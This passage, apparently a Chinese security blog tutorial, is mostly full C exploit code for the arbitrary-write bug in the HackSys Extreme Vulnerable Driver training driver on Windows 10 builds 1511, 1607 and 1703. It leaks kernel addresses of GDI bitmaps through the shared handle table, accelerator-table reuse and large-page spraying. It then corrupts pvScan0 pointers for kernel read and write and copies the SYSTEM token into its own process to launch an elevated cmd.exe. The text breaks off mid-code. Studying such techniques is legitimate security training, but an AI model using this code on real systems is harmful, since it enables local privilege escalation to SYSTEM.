划水篇之hevdgdi乱水任意地址写任意数据漏洞利用

gid利用1511干到1703
先来看 win10 1511
扯点别的 调试环境搭建要用vitualkd 3.0,之前的版本不行,装了之后开启f8禁用驱动即可启动调试器,启动调试器后设置符号 比如
srv*D:\win10x641511symbols*http://msdl.microsoft.com/download/symbols
如果没反应,关机设置虚拟机移除打印机选项 开机后输入 msconfig引导 设置串口和波特率分别为com1 和1152000即可
进入调试后搭个梯子 ! Analyze -v 一下 .reload /f 一下 自动下载符号 需要的符号差不多就够了 弄离线符号包太特么大了
gdi泄露内核地址

#include <stdio.h>
#include <Windows.h>

typedef struct _PEB {
	UCHAR ignored[0xf8];
	PVOID GdiSharedHandleTable;//  +0x0f8 GdiSharedHandleTable : Ptr64 Void
} PEB, *PPEB;

typedef struct _GDICELL
{
	PVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	PVOID pUserAddress;
} GDICELL, *PGDICELL;

typedef struct _PROCESS_BASIC_INFORMATION {
	NTSTATUS  ExitStatus;
	PVOID     PebBaseAddress;
	ULONG_PTR AffinityMask;
	LONG      BasePriority;
	HANDLE    UniqueProcessId;
	HANDLE    InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef enum _PROCESSINFOCLASS {
	SystemProcessBasicInformation = 0
} PROCESSINFOCLASS;

typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
	_In_      HANDLE           ProcessHandle,
	_In_      PROCESSINFOCLASS ProcessInformationClass,
	_Out_     PVOID            ProcessInformation,
	_In_      ULONG            ProcessInformationLength,
	_Out_opt_ PULONG           ReturnLength
	);

int main() {
	HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
	PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
	if (query == NULL) {
		printf("GetProcAddress() failed.\n");
		return 1;
	}
	LoadLibraryA("gdi32.dll");
	ULONG dwReturned = 0;
	PROCESS_BASIC_INFORMATION processBasicInfo = { 0x0 };
	//获取PEB基地址
	NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), &dwReturned);
	PPEB peb = (PPEB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEB));
	ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEB), NULL);
	DWORD count = 0x8fff; //That should do it...
	PGDICELL gdiTable = (PGDICELL)HeapAlloc(GetProcessHeap(), 0, sizeof(GDICELL) * count);
	ReadProcessMemory(GetCurrentProcess(), peb->GdiSharedHandleTable, gdiTable, sizeof(GDICELL) * count, NULL);
	//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
	for (unsigned int i = 0; i < count; i++) {
		GDICELL cell = gdiTable[i];
		if (cell.pKernelAddress == (void *)0xCDCDCDCD) {
			break;
		}
		if (cell.pKernelAddress == 0x00000000) {
			continue;
		}
		HANDLE gdiHandle = (HANDLE)((cell.wUpper << 16) + i);
		printf("Kernel address: 0x%llx, GDI Handle: 0x%llx, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId);

	}
	return 0;
}

打印部分结果
在这里插入图片描述
这个GDICELL玩意把内核地址偏移和句柄都泄露了
在r3下调用CreateBitmap可以创建一个GDICELL
一般的利用套路是利用漏洞改写GDICELL中的Address偏移为多少来着的的pvScan0指针指向另一个GDICELL的pvScan0达到任意读写,也就是要创建2个
玩下
在这里插入图片描述在这里插入图片描述
*先取用户缓冲区开始八个字节的值到v2,先取用户缓冲区八个字节后八字节的的值到v3,然后*v3=v2

写个测试

#include <windows.h>
#include <stdio.h>
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {

	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		getchar();
		return(-1);
	}
	int a = 1;
	int b = 2;
	printf("a=%d,b=%d\n", a, b);
	buf[0] = (DWORD64)&a;
	buf[1] = (DWORD64)&b;
	DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, &dwBytesOut, NULL);
	printf("b=%d\n",b);
	getchar();
	return 0;
}

打印结果
在这里插入图片描述
b的值被修改了。。。
由于r3不能读取自己eprocess的地址,这时候就借助漏洞修改gdi结构体的指针
借助漏洞修改指针

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef struct _PEB {
	UCHAR ignored[0xf8];
	PVOID64 GdiSharedHandleTable;//  +0x0f8 GdiSharedHandleTable : Ptr64 Void
} PEB, *PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
	PVOID Reserved1;
	PPEB PebBaseAddress; // 接收进程环境块地址
	PVOID Reserved2[2];
	ULONG_PTR UniqueProcessId;// 接收进程ID
	PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS {
	SystemProcessBasicInformation = 0
} PROCESSINFOCLASS;
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
	_In_      HANDLE           ProcessHandle,
	_In_      PROCESSINFOCLASS ProcessInformationClass,
	_Out_     PVOID            ProcessInformation,
	_In_      ULONG            ProcessInformationLength,
	_Out_opt_ PULONG           ReturnLength
	);
typedef struct _GDICELL
{
	PVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	PVOID pUserAddress;
} GDICELL, *PGDICELL;
int main() {
	//获取PEB基地址
	HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
	PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
	if (query == NULL) {
		printf("GetProcAddress() failed.\n");
		return 1;
	}
	LoadLibraryA("gdi32.dll");
	ULONG dwReturned = 0;
	PROCESS_BASIC_INFORMATION processBasicInfo = { 0x0 };
	NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), &dwReturned);
	PPEB peb = (PPEB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEB));
	ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEB), NULL);
	printf("PEB=%llX\n", processBasicInfo.PebBaseAddress);
	PVOID64 GdiSharedHandleTable = peb->GdiSharedHandleTable;
	printf("GdiSharedHandleTable=%llX\n", GdiSharedHandleTable);
	
	HBITMAP hManager = CreateBitmap(123,123, 1, 1, 0);
	HBITMAP hWorker = CreateBitmap(123,123, 1, 1, 0);
	GDICELL *cells;//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
	WORD index;
	index = LOWORD(hManager);
	cells = (GDICELL *)(peb->GdiSharedHandleTable);
	PVOID64 pKernelAddress = cells[index].pKernelAddress;
	buf[1] = ((ULONG64)pKernelAddress + 0x50);
	printf("hManagerpvScan0=%llX\n", buf[1]);
	index = LOWORD(hWorker);
	pKernelAddress = cells[index].pKernelAddress;
	ULONG64 temp = ((ULONG64)pKernelAddress + 0x50);
	buf[0] = (ULONG64)&temp;
	printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		getchar();
		return(-1);
	}
	//修改结构体指针
	DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, &dwBytesOut, NULL);
	getchar();
	DebugBreak();
	return 0;
}

回车后断下
在这里插入图片描述
现在修改了这个指针里面的值,就可以从任意地址写变成任意地址读写
后面就是提权了,大致手段是通过SetBitmapBits和GetBitmapBits利用该指针遍历进程链表寻找自己的eprocess地址,通过PsInitialSystemProcess获取指向sysytem eprocess的指针,SetBitmapBits和GetBitmapBits获取指针的值,然后遍进程读取token,最后利用SetBitmapBits写入token
修改代码

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef struct _PEB {
	UCHAR ignored[0xf8];
	PVOID64 GdiSharedHandleTable;//  +0x0f8 GdiSharedHandleTable : Ptr64 Void
} PEB, *PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
	PVOID Reserved1;
	PPEB PebBaseAddress; // 接收进程环境块地址
	PVOID Reserved2[2];
	ULONG_PTR UniqueProcessId;// 接收进程ID
	PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS {
	SystemProcessBasicInformation = 0
} PROCESSINFOCLASS;
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
	_In_      HANDLE           ProcessHandle,
	_In_      PROCESSINFOCLASS ProcessInformationClass,
	_Out_     PVOID            ProcessInformation,
	_In_      ULONG            ProcessInformationLength,
	_Out_opt_ PULONG           ReturnLength
	);
typedef struct _GDICELL
{
	PVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	PVOID pUserAddress;
} GDICELL, *PGDICELL;
LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
		printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}
LONG WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	if (SetBitmapBits(hManager, len,&src) == 0) {
		printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	return SetBitmapBits(hWorker, len, &dest) ? TRUE : FALSE;
}
int main() {
	//获取PEB基地址
	HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
	PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
	if (query == NULL) {
		printf("GetProcAddress() failed.\n");
		return 1;
	}
	LoadLibraryA("gdi32.dll");
	ULONG dwReturned = 0;
	PROCESS_BASIC_INFORMATION processBasicInfo = { 0x0 };
	NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), &dwReturned);
	PPEB peb = (PPEB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEB));
	ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEB), NULL);
	printf("PEB=%llX\n", processBasicInfo.PebBaseAddress);
	PVOID64 GdiSharedHandleTable = peb->GdiSharedHandleTable;
	printf("GdiSharedHandleTable=%llX\n", GdiSharedHandleTable);
	
	HBITMAP hManager = CreateBitmap(123,123, 1, 1, 0);
	HBITMAP hWorker = CreateBitmap(123,123, 1, 1, 0);
	GDICELL *cells;//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
	WORD index;
	index = LOWORD(hManager);
	cells = (GDICELL *)(peb->GdiSharedHandleTable);
	PVOID64 pKernelAddress = cells[index].pKernelAddress;
	buf[1] = ((ULONG64)pKernelAddress + 0x50);
	printf("hManagerpvScan0=%llX\n", buf[1]);
	index = LOWORD(hWorker);
	pKernelAddress = cells[index].pKernelAddress;
	ULONG64 temp = ((ULONG64)pKernelAddress + 0x50);
	buf[0] = (ULONG64)&temp;
	printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);

	hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		getchar();
		return(-1);
	}
	//修改结构体指针
	DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, &dwBytesOut, NULL);


	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;
	TCHAR lpfileName[1024];
	PVOID64 UserBase;
	HMODULE nbase;
	ULONG64 address;
	ULONG64 PsInitialSystemProcess;
	//遍历模块
	EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
	//获取第一个模块地址
	GetDeviceDriverBaseName(lpImageBase[0], lpfileName, 48);
	UserBase = lpImageBase[0];
	nbase = LoadLibrary(L"ntoskrnl.exe");
	printf("UserBase=%llX\n", UserBase);
	address = (ULONG64)GetProcAddress(nbase, "PsInitialSystemProcess");
	//PsInitialSystemProcess 是一个指向system EPROCESS的指针
	PsInitialSystemProcess = ((ULONG64)address - (ULONG64)nbase + (ULONG64)UserBase);
	printf("PsInitialSystemProcess=%llX\n", PsInitialSystemProcess);

	LIST_ENTRY ActiveProcessLinks{};
	DWORD64 currentProcess;//当前进程eporcess
	ULONG64 UniqueProcessId;
	ULONG64 SystemProcess{};

	ReadMemory(hManager, hWorker, (PVOID)PsInitialSystemProcess,
		&SystemProcess, sizeof(LPVOID));
	printf("SystemEProcess=%llX\n", SystemProcess);
	DWORD PID;
	//+0x2f0 ActiveProcessLinks : _LIST_ENTRY
	ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
	do	
	{
		currentProcess = (DWORD64)((PUCHAR)ActiveProcessLinks.Flink - 0x2f0);
		ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2e8), &UniqueProcessId, sizeof(LPVOID));
		PID = UniqueProcessId;
		ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
	} while (PID != GetCurrentProcessId());
	ULONG64 systemtoken{};
	//+0x358 Token            : _EX_FAST_REF
	printf("eProcessToken=%llX\n", currentProcess+ 0x358);
	ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x358),
		&systemtoken, sizeof(LPVOID));
	printf("systemtoken=%llX\n", systemtoken);
	WriteMemory(hManager, hWorker, (PVOID)(currentProcess + 0x358),
		(PVOID)systemtoken, sizeof(LPVOID));

	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
	getchar();
	return 0;
}

再来看 1607
1607下 GdiSharedHandleTable 表中 GDI 对象的内核地址被移除了。那么无法通过这种方法定位对象地址
而另一种泄露地址的大致手段是通过 CreateAcceleratorTableA和DestroyAcceleratorTable创建和撤销建表来确定下次分配的内存回落到刚刚释放的那块内存,如果是这样那么会创建相同大小的gdi对象进行占坑,虽然利用CreateAcceleratorTableA泄露内核地址不是gdi对象,但占坑之后泄露的就是gdi对象的地址
测试代码如下

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 num{};
typedef struct _USER_HANDLE_ENTRY {
	void* pKernel;
	union
	{
		PVOID pi;
		PVOID pti;
		PVOID ppi;
	};
	BYTE type;
	BYTE flags;
	WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SERVERINFO {
	DWORD dwSRVIFlags;
	DWORD cHandleEntries;
	WORD wSRVIFlags;
	WORD wRIPPID;
	WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PUSER_HANDLE_ENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;
	ULONG_PTR ulSharedDelts;
	ULONG_PTR awmControl;
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
HBITMAP Getaddr()
{
	LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);
	SHAREDINFO* gSharedInfo = (SHAREDINFO*)GetProcAddress(GetModuleHandleA("user32.dll"), "gSharedInfo");
	while (true)
	{
		HACCEL atHandle = CreateAcceleratorTableA(lpAccel, 700);
		USER_HANDLE_ENTRY* gHandleTable = gSharedInfo->aheList;
		DWORD index = LOWORD(atHandle);
		PUSER_HANDLE_ENTRY pKerneladdr = &gHandleTable[index];
		PVOID addr = pKerneladdr->pKernel;
		DestroyAcceleratorTable(atHandle);
		atHandle = CreateAcceleratorTableA(lpAccel, 700);
		index = LOWORD(atHandle);
		pKerneladdr = &gHandleTable[index];
		PVOID addrb = pKerneladdr->pKernel;
		if (addrb == addr)
		{
			if(!num)
				printf("hManager KernelAddress at %llX\n", addr);
			else
				printf("hWorker KernelAddress at %llX\n", addr);
			num++;
			DestroyAcceleratorTable(atHandle);
			return  CreateBitmap(0x701, 2, 1, 8, 0);
		}
	}
}
int main()
{
	HBITMAP hManager = Getaddr();
	printf("hManager handle at %llX\n", hManager);
	HBITMAP hWorker = Getaddr();
	printf("hWorker handle at %llX\n", hWorker);
	getchar();
	DebugBreak();
	return 0;
}


结果如下
在这里插入图片描述有了基地址地址代表又可以利用漏洞修改偏移为0x50的指针
利用代码如下

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 num{};
typedef struct _USER_HANDLE_ENTRY {
	void* pKernel;
	union
	{
		PVOID pi;
		PVOID pti;
		PVOID ppi;
	};
	BYTE type;
	BYTE flags;
	WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SERVERINFO {
	DWORD dwSRVIFlags;
	DWORD cHandleEntries;
	WORD wSRVIFlags;
	WORD wRIPPID;
	WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
PVOID hManageraddr{};
PVOID addra{};
typedef struct _SHAREDINFO {
	PSERVERINFO psi;
	PUSER_HANDLE_ENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;
	ULONG_PTR ulSharedDelts;
	ULONG_PTR awmControl;
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
		printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}
LONG WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	if (SetBitmapBits(hManager, len, &src) == 0) {
		printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	return SetBitmapBits(hWorker, len, &dest) ? TRUE : FALSE;
}
HBITMAP Getaddr()
{
	LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);
	SHAREDINFO* gSharedInfo = (SHAREDINFO*)GetProcAddress(GetModuleHandleA("user32.dll"), "gSharedInfo");
	while (true)
	{
		HACCEL atHandle = CreateAcceleratorTableA(lpAccel, 700);
		USER_HANDLE_ENTRY* gHandleTable = gSharedInfo->aheList;
		DWORD index = LOWORD(atHandle);
		PUSER_HANDLE_ENTRY pKerneladdr = &gHandleTable[index];
		addra = pKerneladdr->pKernel;
		DestroyAcceleratorTable(atHandle);
		atHandle = CreateAcceleratorTableA(lpAccel, 700);
		index = LOWORD(atHandle);
		pKerneladdr = &gHandleTable[index];
		PVOID addrb = pKerneladdr->pKernel;
		if (addrb == addra)
		{
			if (!num)
			{
				hManageraddr = addra;
				printf("hManager KernelAddress at %llX\n", addra);
			}
			else {
				printf("hWorker KernelAddress at %llX\n", addra);
			}
			num++;
			DestroyAcceleratorTable(atHandle);
			return  CreateBitmap(0x701, 2, 1, 8, 0);
		}
	}
}
int main()
{
	HBITMAP hManager = Getaddr();
	printf("hManager handle at %llX\n", hManager);
	HBITMAP hWorker = Getaddr();
	printf("hWorker handle at %llX\n", hWorker);

	HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		getchar();
		return(-1);
	}
	LPDWORD dwBytesOut{};
	DWORD64 buf[2];
	buf[1] = ((ULONG64)hManageraddr + 0x50);
	DWORD64 temp= ((ULONG64)addra + 0x50);
	buf[0] = (DWORD64)&temp;
	//修改结构体指针
	DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, dwBytesOut, NULL);
	
	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;
	TCHAR lpfileName[1024];
	PVOID64 UserBase;
	HMODULE nbase;
	ULONG64 address;
	ULONG64 PsInitialSystemProcess;
	//遍历模块
	EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
	//获取第一个模块地址
	GetDeviceDriverBaseName(lpImageBase[0], lpfileName, 48);
	UserBase = lpImageBase[0];
	nbase = LoadLibrary(L"ntoskrnl.exe");
	printf("UserBase=%llX\n", UserBase);
	address = (ULONG64)GetProcAddress(nbase, "PsInitialSystemProcess");
	//PsInitialSystemProcess 是一个指向system EPROCESS的指针
	PsInitialSystemProcess = ((ULONG64)address - (ULONG64)nbase + (ULONG64)UserBase);
	printf("PsInitialSystemProcess=%llX\n", PsInitialSystemProcess);
	LIST_ENTRY ActiveProcessLinks{};
	DWORD64 currentProcess;//当前进程eporcess
	ULONG64 UniqueProcessId;
	ULONG64 SystemProcess{};
	ReadMemory(hManager, hWorker, (PVOID)PsInitialSystemProcess,
		&SystemProcess, sizeof(LPVOID));
	printf("SystemEProcess=%llX\n", SystemProcess);
	DWORD dwCurrentPID;
	//+0x2f0 ActiveProcessLinks : _LIST_ENTRY
	ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
	do
	{
		currentProcess = (DWORD64)((PUCHAR)ActiveProcessLinks.Flink - 0x2f0);
		ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2e8), &UniqueProcessId, sizeof(LPVOID));
		dwCurrentPID = LOWORD(UniqueProcessId);
		ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
	} while (dwCurrentPID != GetCurrentProcessId());
	ULONG64 systemtoken{};
	//+0x358 Token            : _EX_FAST_REF
	printf("eProcessToken=%llX\n", currentProcess + 0x358);
	ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x358),
		&systemtoken, sizeof(LPVOID));
	printf("systemtoken=%llX\n", systemtoken);
	WriteMemory(hManager, hWorker, (PVOID)(currentProcess + 0x358),
		(PVOID)systemtoken, sizeof(LPVOID));

	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	getchar();
	return 0;
}


再来看 1703
之前的两种方法都不行了
还有一种方法是如果用CreateBitmap创建几个大小连续为0x1000的的,那么它们将会被分配在大页中,而大页的可以通过teb结构体偏移0x078的成员Win32ThreadInfo通过去除低7位得到,由这个基地址加上0x16300000会泄露创建的第二个对象的地址
在这里插入图片描述
测试代码

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
int main()
{
	DWORD64 size = 0x10000000 - 0x260;
	BYTE *pBits=new BYTE[size];
	memset(pBits,0x41,size);
	HBITMAP *hbitmap = new HBITMAP[10];
	for (size_t i = 0; i < 4; i++)
		hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);

	DWORD64 teb = (DWORD64)NtCurrentTeb();
	//+0x078 Win32ThreadInfo  : 0xffff9fd4`806fbb10 Void
	DWORD64 pointer = *(PDWORD64)(teb + 0x78);
	DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
	ThreadInfoaddr += 0x16300000;
	printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);
	getchar();
	DebugBreak();
	return 0;
}

回车断下查看打印结果
在这里插入图片描述泄露了位图地址
如果将此对象释放,再大量创建相同大小的对象进行占坑,查看刚刚得到地址得到的结果会是其中一个对象地址
测试代码

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
int main()
{
	DWORD64 size = 0x10000000 - 0x260;
	BYTE *pBits=new BYTE[size];
	memset(pBits,0x41,size);
	HBITMAP *hbitmap = new HBITMAP[10];
	for (size_t i = 0; i < 4; i++)
		hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);

	DWORD64 teb = (DWORD64)NtCurrentTeb();
	//+0x078 Win32ThreadInfo  : 0xffff9fd4`806fbb10 Void
	DWORD64 pointer = *(PDWORD64)(teb + 0x78);
	DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
	ThreadInfoaddr += 0x16300000;
	printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);

	DeleteObject(hbitmap[1]);
	HBITMAP *bitmap = new HBITMAP[100000];
	for (size_t i = 0; i < 100000; i++)
		bitmap[i] = CreateBitmap(0x364, 1, 1, 32, pBits);
	getchar();
	DebugBreak();
	return 0;
}


回车调试器断下后查看结果
在这里插入图片描述该对象地址泄露了,在内存中又是连续的并且大小是知道的0x1000,所以也能查看所需要两个对象中两个指针的位置
在这里插入图片描述
知道了地址,这就可以通过漏洞修改这两个指针了
测试代码

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
int main()
{
	DWORD64 size = 0x10000000 - 0x260;
	BYTE *pBits=new BYTE[size];
	memset(pBits,0x41,size);
	HBITMAP *hbitmap = new HBITMAP[10];
	for (size_t i = 0; i < 4; i++)
		hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);

	DWORD64 teb = (DWORD64)NtCurrentTeb();
	//+0x078 Win32ThreadInfo  : 0xffff9fd4`806fbb10 Void
	DWORD64 pointer = *(PDWORD64)(teb + 0x78);\
	DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
	ThreadInfoaddr += 0x16300000;
	printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);

	DeleteObject(hbitmap[1]);
	HBITMAP *bitmap = new HBITMAP[100000];
	for (size_t i = 0; i < 100000; i++)
		bitmap[i] = CreateBitmap(0x364, 1, 1, 32, pBits);

	DWORD64 buf[2];
	buf[1] = ((ULONG64)ThreadInfoaddr + 0x50);
	printf("hManagerpvScan0=%llX\n", buf[1]);
	ULONG64 temp = ((ULONG64)ThreadInfoaddr + 0x50-0x1000);
	buf[0] = (ULONG64)&temp;
	printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
	LPDWORD dwBytesOut{};
	HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[!] Unable to get a handle on the device\n");
		getchar();
		return(-1);
	}
	//修改结构体指针
	DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, dwBytesOut, NULL);
	getchar();
	DebugBreak();
	return 0;
}


在这里插入图片描述这玩意又被修改了,剩下的就是获取这两个对象的句柄然后提权了
在获取对象句柄的时候 我想到一个我觉得还不错的注意,因为对象句柄最多不超过10000个,而且又是连续的,只要定义两个变量,遍历传输对象进行写的操作,如果变量被修改成功了,那么就定位到了被修改指针的两个对象句柄
代码如下

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
		printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}
LONG WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
	if (SetBitmapBits(hManager, len, &src) == 0) {
		//printf("[-] Unable To Set Source Address: 0x%p\n", src);
		return FALSE;
	}
	return SetBitmapBits(hWorker, len, &dest) ? TRUE : FALSE;
}
int main()
{
	DWORD64 size = 0x10000000 - 0x260;
	BYTE *pBits=new BYTE[size];
	memset(pBits,0x41,size);
